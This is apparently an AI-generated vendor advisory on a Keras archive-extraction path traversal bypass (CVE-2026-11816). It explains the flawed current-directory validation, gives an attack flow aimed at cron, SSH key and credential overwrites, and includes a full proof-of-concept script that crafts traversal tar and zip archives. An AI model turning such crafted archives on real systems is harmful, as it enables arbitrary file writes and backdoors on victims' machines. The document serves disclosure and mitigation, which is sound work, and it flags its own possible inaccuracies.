ZeroPath at Black Hat USA 2026

Keras CVE-2026-11816: Path Traversal via CWD Validation Bypass in Archive Extraction — Technical Breakdown with PoC

A brief summary of CVE-2026-11816, a high severity path traversal in Keras archive extraction that bypasses validation when the process working directory is the filesystem root. Includes proof of concept details and mitigation guidance.

CVE Analysis

10 min read

ZeroPath CVE Analysis
ZeroPath CVE Analysis

2026-06-11

Keras CVE-2026-11816: Path Traversal via CWD Validation Bypass in Archive Extraction — Technical Breakdown with PoC
Experimental AI-Generated Content

This CVE analysis is an experimental publication that is completely AI-generated. The content may contain errors or inaccuracies and is subject to change as more information becomes available. We are continuously refining our process.

If you have feedback, questions, or notice any errors, please reach out to us.

[email protected]

Introduction

A path traversal bypass in Keras's archive extraction utilities allows attackers to write files to arbitrary locations on the filesystem when the process runs with its working directory set to /, a configuration that is the default in many Docker containers, CI/CD runners, and Jupyter environments. For organizations running ML pipelines that download and extract pretrained models or datasets using keras.utils.get_file(), this vulnerability (CVSS 8.1) quietly undermines the security boundary that was supposed to confine extracted files to their intended directory.

What makes CVE-2026-11816 particularly interesting is that it is a bypass of a previous fix. Keras addressed an earlier path traversal (CVE-2025-12060) in version 3.12.0, but the validation logic introduced in that fix contained a fundamental design flaw: it checked archive member paths against the process current working directory instead of the actual extraction destination. This means the security boundary was never anchored to the right reference point.

Technical Information

Root Cause: CWD as Validation Anchor

The vulnerability resides in keras/src/utils/file_utils.py, in two functions responsible for filtering archive members during extraction: filter_safe_tarinfos() and filter_safe_zipinfos(). These functions are called when keras.utils.get_file() processes an archive with extract=True.

Both functions compute their security boundary using resolve_path("."), which resolves to the process's current working directory. The is_path_in_dir function then checks whether a resolved archive member path starts with this boundary:

def resolve_path(path): return os.path.realpath(os.path.abspath(path)) def is_path_in_dir(path, base_dir): return resolve_path(os.path.join(base_dir, path)).startswith(base_dir)

The tar filter uses this logic as follows:

def filter_safe_tarinfos(members): base_dir = resolve_path(".") for finfo in members: valid_path = False if finfo.issym() or finfo.islnk(): if is_link_in_dir(finfo, base_dir): valid_path = True yield finfo elif is_path_in_dir(finfo.name, base_dir): valid_path = True yield finfo if not valid_path: warnings.warn( "Skipping invalid path during archive extraction: " f"'{finfo.name}'.", stacklevel=2, )

When CWD is /, resolve_path(".") returns /. The is_path_in_dir check then merely verifies whether a resolved path starts with /, which every absolute path on a Unix filesystem does. A traversal entry like ../../exploit/pwned.txt resolves to /exploit/pwned.txt, which starts with / and therefore passes the security filter. The validation boundary has collapsed to the entire filesystem root.

The AttributeError Bug in the Zip Filter

The filter_safe_zipinfos() function contains a secondary bug. When a blocked path is encountered, the warning message references finfo.name:

def filter_safe_zipinfos(members): base_dir = resolve_path(".") for finfo in members: valid_path = False if is_path_in_dir(finfo.filename, base_dir): valid_path = True yield finfo if not valid_path: warnings.warn( "Skipping invalid path during archive extraction: " f"'{finfo.name}'.", stacklevel=2, )

Python's ZipInfo objects use the .filename attribute, not .name. When a blocked entry triggers the warning path, an AttributeError is raised, crashing the extraction process. Files listed after the malicious entry in the archive are silently not extracted. This can corrupt ML pipelines by producing partially extracted training data without any obvious error signal, and it also masks the attack itself.

Python 3.11: No Safety Net

Python 3.12 introduced a filter="data" parameter to tarfile.open() that provides a built-in defense against path traversal in tar archives. Keras applies this parameter only for Python 3.12 and 3.13. Since Keras officially supports Python >= 3.11, installations on Python 3.11 lack this external protection entirely. In a containerized environment with CWD set to /, the flawed Keras filter becomes the sole defense against tar based path traversal, providing no real security.

Attack Flow

  1. An attacker crafts a malicious tar or zip archive containing traversal paths (e.g., ../../etc/cron.d/backdoor), disguised as model weights or a dataset.
  2. A victim downloads and extracts the archive using keras.utils.get_file(extract=True).
  3. In a containerized environment where CWD is /, the traversal path passes the CWD based validation filter because is_path_in_dir('../../etc/cron.d/backdoor', '/') evaluates to True.
  4. The attacker's files are written to arbitrary locations on the filesystem, enabling overwriting of SSH keys, cloud credentials, API tokens, injection of malicious code into application directories, or corruption of ML training datasets and pipelines.

Summary of Sub-Vulnerabilities

Sub-VulnerabilityFunction AffectedRoot CauseImpactPython Version Scope
A: CWD Validation Bypassfilter_safe_tarinfos(), filter_safe_zipinfos()Uses resolve_path(".") instead of extraction destinationArbitrary file write outside extraction directoryAll supported Python versions
B: AttributeError on Blocked Entryfilter_safe_zipinfos()References finfo.name instead of finfo.filename for ZipInfoExtraction crash; incomplete archive extractionAll supported Python versions
C: Missing filter="data" Fallbackextract_open_archive()Python 3.11 lacks filter="data" tarfile safety netNo defense in depth for tar archives on Python 3.11Python 3.11 only

Proof of Concept

A public, fully executable proof of concept is available on the Huntr bug bounty platform. The PoC was reported by researcher Karim Foughali (@kimkou2024) on March 13, 2026, and demonstrates all three sub-vulnerabilities.

The PoC script reproduces the vulnerable Keras filter functions verbatim from keras/src/utils/file_utils.py (Keras 3.13.2), creates a malicious tar archive with a traversal path, sets CWD to / to simulate a Docker container, and then runs the archive through the Keras filter:

#!/usr/bin/env python3 import os import io import sys import tarfile import zipfile import pathlib import tempfile import warnings import shutil print("Keras path traversal in archive extraction PoC") print(f"Python: {sys.version.split()[0]}") # ── Exact copy from keras/src/utils/file_utils.py (Keras 3.13.2) ── def resolve_path(path): return os.path.realpath(os.path.abspath(path)) def is_path_in_dir(path, base_dir): return resolve_path(os.path.join(base_dir, path)).startswith(base_dir) def is_link_in_dir(info, base): tip = resolve_path(os.path.join(base, os.path.dirname(info.name))) return is_path_in_dir(info.linkname, base_dir=tip) def filter_safe_tarinfos(members): base_dir = resolve_path(".") for finfo in members: valid_path = False if finfo.issym() or finfo.islnk(): if is_link_in_dir(finfo, base_dir): valid_path = True yield finfo elif is_path_in_dir(finfo.name, base_dir): valid_path = True yield finfo if not valid_path: warnings.warn( "Skipping invalid path during archive extraction: " f"'{finfo.name}'.", stacklevel=2, ) def filter_safe_zipinfos(members): base_dir = resolve_path(".") for finfo in members: valid_path = False if is_path_in_dir(finfo.filename, base_dir): valid_path = True yield finfo if not valid_path: warnings.warn( "Skipping invalid path during archive extraction: " f"'{finfo.name}'.", stacklevel=2, ) # ── End Keras code ── workspace = pathlib.Path(tempfile.mkdtemp(prefix="keras_poc_")) extract_dir = workspace / "extract" exploit_dir = workspace / "exploit" zip_out = workspace / "zout" extract_dir.mkdir() exploit_dir.mkdir() zip_out.mkdir() original_cwd = os.getcwd() # ------------------------------------------------------------------- # Vulnerability A + C: tar traversal approved by Keras filter # ------------------------------------------------------------------- tar_path = workspace / "dataset.tgz" rel = os.path.relpath(str(exploit_dir / "pwned.txt"), str(extract_dir)) with tarfile.open(tar_path, "w:gz") as tar: payload = b"Keras path traversal via CWD bypass" info = tarfile.TarInfo(rel) info.size = len(payload) tar.addfile(info, io.BytesIO(payload)) legit = tarfile.TarInfo("dataset.csv") legit.size = len(b"a,b\n") tar.addfile(legit, io.BytesIO(b"a,b\n")) print("\n[Vulnerability A + C] Tar traversal test") print(f"Archive: {tar_path}") print(f"Traversal member: {rel}") # Simulate Docker/CI style runtime where CWD=/ os.chdir("/") print(f"CWD set to: {os.getcwd()}") print(f"Keras filter base_dir = {resolve_path('.')}") print(f"\nFilter decision for traversal entry:") print(f" is_path_in_dir('{rel}', '/') = {is_path_in_dir(rel, resolve_path('.'))}") with tarfile.open(tar_path) as tar: print("\nFilter decisions for all members:") members = list(tar) for m in members: allowed = is_path_in_dir(m.name, resolve_path(".")) print(f" {m.name} -> {'ALLOWED' if allowed else 'BLOCKED'}") with tarfile.open(tar_path) as tar: tar.extractall(str(extract_dir), members=filter_safe_tarinfos(tar)) pwned = exploit_dir / "pwned.txt" if pwned.exists(): print(f"\nVULNERABLE: file escaped extraction directory -> {pwned}") print(f"Content: {pwned.read_text()}") else: print("\nSafe: traversal did not escape") os.chdir(original_cwd) # ------------------------------------------------------------------- # Vulnerability B: ZipInfo.name crash # ------------------------------------------------------------------- print("\n[Vulnerability B] ZipInfo crash test") zip_path = workspace / "model.zip" with zipfile.ZipFile(zip_path, "w") as zf: zf.writestr("config.json", "{}") zf.writestr("../../../evil.py", "pwned") zf.writestr("metadata.json", "{}") os.chdir(str(workspace)) try: with zipfile.ZipFile(zip_path) as zf: zf.extractall(str(zip_out), members=filter_safe_zipinfos(zf.infolist())) print("Zip extraction completed") except AttributeError as e: print(f"CRASH: {e}") if zip_out.exists(): print(f"Files extracted before crash: {os.listdir(str(zip_out))}") os.chdir(original_cwd) shutil.rmtree(workspace, ignore_errors=True) print("\nDone.")

The reported output confirms successful exploitation:

[Vulnerability A + C] Tar traversal test
Traversal member: ../../exploit/pwned.txt
CWD set to: /
Keras filter base_dir = /
Filter decision for traversal entry:
  is_path_in_dir('../../exploit/pwned.txt', '/') = True
VULNERABLE: file escaped extraction directory -> /tmp/keras_poc_.../exploit/pwned.txt

[Vulnerability B] ZipInfo crash test
CRASH: 'ZipInfo' object has no attribute 'name'
Files extracted before crash: ['config.json']

The PoC demonstrates that when CWD is /, the traversal path ../../exploit/pwned.txt is approved by the Keras filter and the file is written outside the intended extraction directory. It also confirms that the AttributeError in the zip filter crashes extraction after only the first file (config.json) is extracted, silently dropping metadata.json.

Affected Systems and Versions

All Keras versions prior to 3.14.0 are affected. The vulnerability is present in the filter_safe_tarinfos() and filter_safe_zipinfos() functions in keras/src/utils/file_utils.py.

The impact varies by environment and Python version:

  • All Python versions supported by Keras (>= 3.11): Sub-Vulnerability A (CWD validation bypass) and Sub-Vulnerability B (AttributeError in zip filter) apply.
  • Python 3.11 specifically: Sub-Vulnerability C removes the filter="data" safety net, leaving no fallback defense for tar archives.
  • Containerized environments (Docker, CI/CD runners, Jupyter): The vulnerability is most severe when the process CWD is set to /, which is the default in many container configurations. In these environments, the validation boundary collapses to the filesystem root.
  • Non-containerized environments with CWD set to a user directory: The vulnerability still exists but the validation boundary is narrower, limiting the scope of traversal.

The fix is included in Keras 3.14.0 and the stable release 3.14.1 (published May 7, 2026).

Vendor Security History

Keras has a documented pattern of security vulnerabilities in file handling and model deserialization. CVE-2026-11816 is at least the fifth security advisory for the framework:

CVE IDTypeCVSSAffected VersionsFix Version
CVE-2025-9905Unsafe Lambda Layer Deserialization (RCE)High<= 3.11.23.12.0
CVE-2025-12060Path Traversal (tar symlink, get_file)Critical< 3.12.03.12.0
CVE-2025-12638Path Traversal (related)N/A< 3.12.03.12.0
CVE-2025-1550RCE via Model.load_model (safe_mode bypass)High< 3.12.03.12.0
CVE-2026-11816Path Traversal (CWD validation bypass)8.1< 3.14.03.14.0

The recurrence of path traversal vulnerabilities is notable. CVE-2025-12060 was the first path traversal discovered in keras.utils.get_file(), exploiting tar symlink resolution. CVE-2026-11816 bypasses the fix for CVE-2025-12060 by exploiting a different flaw in the same validation logic. As ZeroPath noted in their analysis, "Keras has previously experienced vulnerabilities related to file handling and model deserialization." This pattern suggests that the archive extraction subsystem has been a persistent attack surface and that organizations should treat Keras model and archive loading as an untrusted input boundary requiring additional sandboxing.

The Keras project participates in the Huntr AI/ML bug bounty platform. The disclosure bounty for CVE-2026-11816 was $900 and the fix bounty was $187.50.

References

Detect & fix
what others miss

Works with
  • GitHub
  • GitLab
  • Bitbucket
  • Azure DevOps Services
  • Jira
  • Linear
  • Slack
  • Security Compass
Security magnifying glass visualization